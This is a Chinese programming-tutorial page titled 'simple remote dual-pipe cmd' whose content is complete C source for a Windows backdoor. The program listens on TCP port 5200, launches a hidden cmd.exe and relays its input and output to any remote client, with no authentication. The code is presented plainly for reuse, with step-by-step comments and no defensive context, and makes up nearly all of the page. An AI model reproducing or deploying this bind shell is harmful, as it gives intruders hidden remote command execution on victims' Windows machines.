简单远程双管道cmd_编程开发教程-查字典教程网
简单远程双管道cmd
简单远程双管道cmd
发布时间:2017-01-04 来源:查字典编辑
摘要:#include#include#pragmacomment(lib,"Ws2_32")intmain(){WSADATAws;SOCKET...

#include <winsock2.h>

#include <stdio.h>

#pragma comment(lib,"Ws2_32")

int main()

{

WSADATA ws;

SOCKET listenFD;

char Buff[1024];

int ret;

//初始化WSA

WSAStartup(MAKEWORD(2,2),&ws);

//建立socket

listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

//监听本机5200端口

struct sockaddr_in server;

server.sin_family=AF_INET;

server.sin_port=htons(5200);

server.sin_addr.s_addr=ADDR_ANY;

ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

ret=listen(listenFD,2);

//如果客户请求5200端口,接受连接

int iAddrSize=sizeof(server);

SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1,pipeattr2;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//建立匿名管道1

pipeattr1.nLength=12;

pipeattr1.lpSecurityDescriptor=0;

pipeattr1.bInheritHandle=true;

CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2

pipeattr2.nLength=12;

pipeattr2.lpSecurityDescriptor=0;

pipeattr2.bInheritHandle=true;

CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;

ZeroMemory(&si,sizeof(si));

si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

si.wShowWindow=SW_HIDE;

si.hStdInput=hReadPipe2;

si.hStdOutput=si.hStdError=hWritePipe1;

char cmdline[]="cmd.exe";

PROCESS_INFORMATION ProcessInformation;

//建立进程

ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;

while (1)

{

//检查管道1,即CMD进程是否有输出

ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

if (lBytesRead)

{

//管道1有输出,输出结果发给远程客户机

ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);

if (!ret) break;

ret=send(clientFD,Buff,lBytesRead,0);

if (ret<=0) break;

}

else

{

//否则,接受远程客户机命令

lBytesRead=recv(clientFD,Buff,1024,0);

if (lBytesRead<=0) break;

//将命令写入管道2,即传给CMD进程

ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);

if (!ret) break;

}

}

return 0;

}

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新编程开发学习
    热门编程开发学习
    软件教程子分类